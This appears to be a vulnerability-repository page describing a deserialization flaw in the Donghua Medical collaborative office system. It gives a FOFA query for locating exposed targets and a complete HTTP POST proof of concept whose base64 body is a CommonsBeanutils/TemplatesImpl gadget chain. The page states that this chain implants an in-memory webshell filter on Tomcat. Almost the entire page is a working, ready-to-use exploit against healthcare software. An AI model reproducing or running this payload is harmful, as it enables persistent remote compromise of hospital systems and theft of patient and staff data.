Skip to content

Latest commit

 

History

History
30 lines (28 loc) · 13.9 KB

东华医疗协同办公系统反序列化漏洞.md

File metadata and controls

30 lines (28 loc) · 13.9 KB

东华医疗协同办公系统反序列化漏洞

fofa

body="东华医疗协同办公系统"

poc

POST /workflow/DemoDefinitionProxyServlet/111 HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 13283
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Origin: https://xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

<@d_base64>rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAI3HK/rq+AAAAMQHfAQAlb3JnL2FwYWNoZS9jb21tb25zL2VsL3BhcnNlci9Bc3RNaW51cwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgcABQEABjxpbml0PgEAAygpVgEABENvZGUMAAcACAoABAAKAQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAApFeGNlcHRpb25zAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uBwAPAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAEwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QHABUBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQcAFwEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4HABkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0BwAbAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UHAB0BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAB8BABFqYXZhL3V0aWwvSGFzaE1hcAcAIQEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgcAIwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwAlAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAcAJwEAGW9yZy9hcGFjaGUvY295b3RlL1JlcXVlc3QHACkBACZvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2h0dHAvUGFyYW1ldGVycwcAKwEAF2phdmEvdXRpbC9MaW5rZWRIYXNoTWFwBwAtAQASamF2YS91dGlsL0l0ZXJhdG9yBwAvAQAQamF2YS9sYW5nL1N0cmluZwcAMQEAE2phdmEvdXRpbC9BcnJheUxpc3QHADMBAA1TdGFja01hcFRhYmxlAQAHUmVmZXJlcggANgEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAA4ADkLABwAOgEAEmh0dHBzOi8vYmFpZHUuY29tLwgAPAEAEGVxdWFsc0lnbm9yZUNhc2UBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMAD4APwoAMgBAAQArb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdEZhY2FkZQcAQgEAI2phdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RXcmFwcGVyBwBEAQAKZ2V0UmVxdWVzdAgARgEAD2phdmEvbGFuZy9DbGFzcwcASAEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAEoASwoASQBMAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABOAE8KACAAUAEALG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlRmFjYWRlBwBSAQAkamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyBwBUAQALZ2V0UmVzcG9uc2UIAFYBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwASgBYCwAcAFkBAARQT1NUCABbAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDABdAF4KADIAXwoAIgAKAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsMAGIAYwoAQwBkAQAHcmVxdWVzdAgAZgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABoAGkKACIAagEACHJlc3BvbnNlCABsAQAHc2Vzc2lvbggAbgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7DABwAHELABYAcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIHAHQBAAhyZWFkTGluZQwAdgBYCgB1AHcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMAAcAeQoAJgB6AQAGbGVuZ3RoAQADKClJDAB8AH0KACYAfgoAJgAKAQANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DACBAIIKAAIAgwEADWNveW90ZVJlcXVlc3QIAIUBAA1nZXRQYXJhbWV0ZXJzAQAqKClMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9odHRwL1BhcmFtZXRlcnM7DACHAIgKACoAiQEAD3BhcmFtSGFzaFZhbHVlcwgAiwEACGVudHJ5U2V0AQARKClMamF2YS91dGlsL1NldDsMAI0AjgoALgCPAQANamF2YS91dGlsL1NldAcAkQEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAkwCUCwCSAJUBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMAJcAmAsAMACZAQATamF2YS91dGlsL01hcCRFbnRyeQcAmwEABmdldEtleQwAnQCYCwCcAJ4BAAh0b1N0cmluZwwAoABYCgAEAKEBAAEgCACjAQABKwgApQEACnJlcGxhY2VBbGwBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwApwCoCgAyAKkBAAhnZXRWYWx1ZQwAqwCYCwCcAKwBAARzaXplDACuAH0KADQArwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwwAsQCyCgAmALMBAAE9CAC1AQADZ2V0AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DAC3ALgKADQAuQEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwwAsQC7CgAmALwBAAdoYXNOZXh0AQADKClaDAC+AL8LADAAwAEABW5vTG9nAQAVKExqYXZhL2xhbmcvT2JqZWN0OylWDADCAMMKAAIAxAEAEGVhYzlmYTM4MzMwYTc1MzUIAMYBAAF1CADIAQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYMAMoAywsAJADMAQADQUVTCADOAQATamF2YXgvY3J5cHRvL0NpcGhlcgcA0AEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsMANIA0woA0QDUAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwcA1gEACGdldEJ5dGVzAQAEKClbQgwA2ADZCgAyANoBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgwABwDcCgDXAN0BABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgwADADfCgDRAOABABVqYXZhLmxhbmcuQ2xhc3NMb2FkZXIIAOIBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwA5ADlCgBJAOYBAAtkZWZpbmVDbGFzcwgA6AEAAltCBwDqAQARamF2YS9sYW5nL0ludGVnZXIHAOwBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMAO4A7wkA7QDwAQARZ2V0RGVjbGFyZWRNZXRob2QMAPIASwoASQDzAQAiamF2YS9sYW5nL3JlZmxlY3QvQWNjZXNzaWJsZU9iamVjdAcA9QEADXNldEFjY2Vzc2libGUBAAQoWilWDAD3APgKAPYA+QoAJgChAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwA/AD9CgACAP4BAAdkb0ZpbmFsAQAGKFtCKVtCDAEAAQEKANEBAgEAEGphdmEvbGFuZy9UaHJlYWQHAQQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAQYBBwoBBQEIAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwBCgELCgEFAQwBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwBDgEPCgDtARABAAtuZXdJbnN0YW5jZQwBEgCYCgBJARMKAAQAXwEAE2phdmEvaW8vSU9FeGNlcHRpb24HARYBAAdkZXN0cm95AQAIPGNsaW5pdD4BADBvcmcvYXBhY2hlL2NhdGFsaW5hL2xvYWRlci9XZWJhcHBDbGFzc0xvYWRlckJhc2UHARoBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0BwEcAQAQamF2YS9sYW5nL1N5c3RlbQcBHgEACG5hbm9UaW1lAQADKClKDAEgASEKAR8BIgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwwBDgEkCgAyASUBAAxnZXRSZXNvdXJjZXMBACcoKUxvcmcvYXBhY2hlL2NhdGFsaW5hL1dlYlJlc291cmNlUm9vdDsMAScBKAoBGwEpAQAjb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3QHASsBAApnZXRDb250ZXh0AQAfKClMb3JnL2FwYWNoZS9jYXRhbGluYS9Db250ZXh0OwwBLQEuCwEsAS8BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMATEBMgoABAEzAQANZ2V0U3VwZXJjbGFzcwwBNQEyCgBJATYBAAlyZXNvdXJjZXMIATgBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAE6ATsKAEkBPAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwE+CgE/APkBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAtwFBCgE/AUIBAAdjb250ZXh0CAFEAQANZmlsdGVyQ29uZmlncwgBRgEADWphdmEvdXRpbC9NYXAHAUgKAAIACgEAL29yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyRGVmBwFLCgFMAAoBAAlzZXRGaWx0ZXIBABkoTGphdmF4L3NlcnZsZXQvRmlsdGVyOylWDAFOAU8KAUwBUAEADXNldEZpbHRlck5hbWUMAVIAeQoBTAFTAQAHZ2V0TmFtZQwBVQBYCgBJAVYBAA5zZXRGaWx0ZXJDbGFzcwwBWAB5CgFMAVkBAAxhZGRGaWx0ZXJEZWYBADQoTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyRGVmOylWDAFbAVwKAR0BXQEAL29yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyTWFwBwFfCgFgAAoBAAdwYXR0ZXJuAQASTGphdmEvbGFuZy9TdHJpbmc7DAFiAWMJAAIBZAEADWFkZFVSTFBhdHRlcm4MAWYAeQoBYAFnCgFgAVMBABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlBwFqAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwwBbAFtCQFrAW4BAARuYW1lDAFwAFgKAWsBcQEADXNldERpc3BhdGNoZXIMAXMAeQoBYAF0AQASYWRkRmlsdGVyTWFwQmVmb3JlAQA0KExvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlck1hcDspVgwBdgF3CgEdAXgBADBvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDb25maWcHAXoBABtvcmcvYXBhY2hlL2NhdGFsaW5hL0NvbnRleHQHAXwBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAF+AX8KAEkBgAEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yBwGCCgGDAPkBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMARIBhQoBgwGGCwFJAGoBABBqYXZhLnV0aWwuQmFzZTY0CAGJAQAKZ2V0RGVjb2RlcggBiwEABmRlY29kZQgBjQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIAY8BAAxkZWNvZGVCdWZmZXIIAZEBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAZUBAA9zdW4vbWlzYy9VbnNhZmUHAZcBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwGZCgGaAAoBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAZwBnQoBmgGeAQAbamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50BwGgAQAMZ2V0Q2xhc3NOYW1lDAGiAFgKAaEBowEADmdldENsYXNzTG9hZGVyDAGlAQsKAEkBpgwBkwGUCgGYAagBADljb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwucmVmbGVjdC5VbnNhZmVSZWZsZWN0aW9uQWNjZXNzb3IIAaoBAAl0aGVVbnNhZmUIAawBADtpby5uZXR0eS51dGlsLmludGVybmFsLnNoYWRlZC5vcmcuamN0b29scy51dGlsLlVuc2FmZUFjY2VzcwgBrgEABlVOU0FGRQgBsAEAEGdldE1ldGhvZEJ5Q2xhc3MBAFEoTGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGph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<@/d_base64>

<@d_base64>参数中 base64编码为内存马payload